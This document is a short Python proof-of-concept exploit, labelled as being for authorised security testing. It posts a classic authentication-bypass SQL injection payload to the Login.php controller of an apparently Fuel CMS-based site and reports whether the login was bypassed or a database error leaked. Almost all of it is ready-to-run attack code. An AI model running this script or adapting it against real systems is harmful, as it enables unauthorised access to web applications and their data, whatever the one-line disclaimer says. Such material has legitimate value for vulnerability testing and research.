The following code is for security research and authorized testing only.
python
import requests
# Target URL (replace with actual target)
target_url = "http://target-ip/fuel/controllers/Login.php"
# Payload demonstrating the SQL injection vulnerability
# This payload attempts to bypass authentication or extract data
payload = {
"user_name": "admin' OR '1'='1'--",
"password": "random"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.post(target_url, data=payload, headers=headers, timeout=10)
# Check if the response indicates a successful login or database error
if response.status_code == 200:
if "Dashboard" in response.text or "Welcome" in response.text:
print("[+] SQL Injection successful! Authentication bypassed.")
elif "syntax error" in response.text or "mysql" in response.text.lower():
print("[+] Database error detected. Potential SQL Injection point found.")
else:
print("[-] Exploit sent, but exploitation status unclear.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] An error occurred: {e}")